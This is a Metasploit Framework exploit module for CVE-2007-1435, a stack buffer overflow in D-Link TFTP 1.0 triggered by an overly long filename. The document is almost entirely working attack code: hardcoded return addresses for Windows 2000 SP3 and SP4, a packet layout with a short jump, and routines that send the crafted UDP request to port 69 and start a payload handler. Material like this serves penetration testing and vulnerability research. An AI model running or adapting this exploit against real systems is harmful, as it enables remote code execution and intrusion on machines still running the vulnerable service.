D-Link TFTP 1.0 Long Filename Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/   
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in D-Link TFTP 1.0.  
By sending a request for an overly long file name, an attacker   
could overflow a buffer and execute arbitrary code. For best results,  
use bind payloads with nonx (No NX).  
},  
'Author' => [  
'LSO <lso[@]hushmail.com>', # Exploit module  
'patrick', # Refs, stability, targets etc  
],  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2007-1435' ],  
[ 'OSVDB', '33977' ],  
[ 'BID', '22923' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'Compat' =>   
{  
'ConnectionType' => '-reverse',  
},  
},  
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],  
'Platform' => 'win',  
  
'Targets' =>  
[  
# Patrick tested OK 20090228  
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx  
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 12 2007',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(69)], self)  
  
end  
  
def exploit  
connect_udp  
  
print_status("Trying target #{target.name}...")  
  
juju = "\x00\x01"   
juju << Rex::Text.rand_text_alpha_upper(581)  
juju << Rex::Arch::X86.jmp_short(42)  
juju << Rex::Text.rand_text_alpha_upper(38)  
juju << [target.ret].pack('V') + payload.encoded  
  
udp_sock.put(juju)  
  
handler  
disconnect_udp  
end  
  
end  
  
`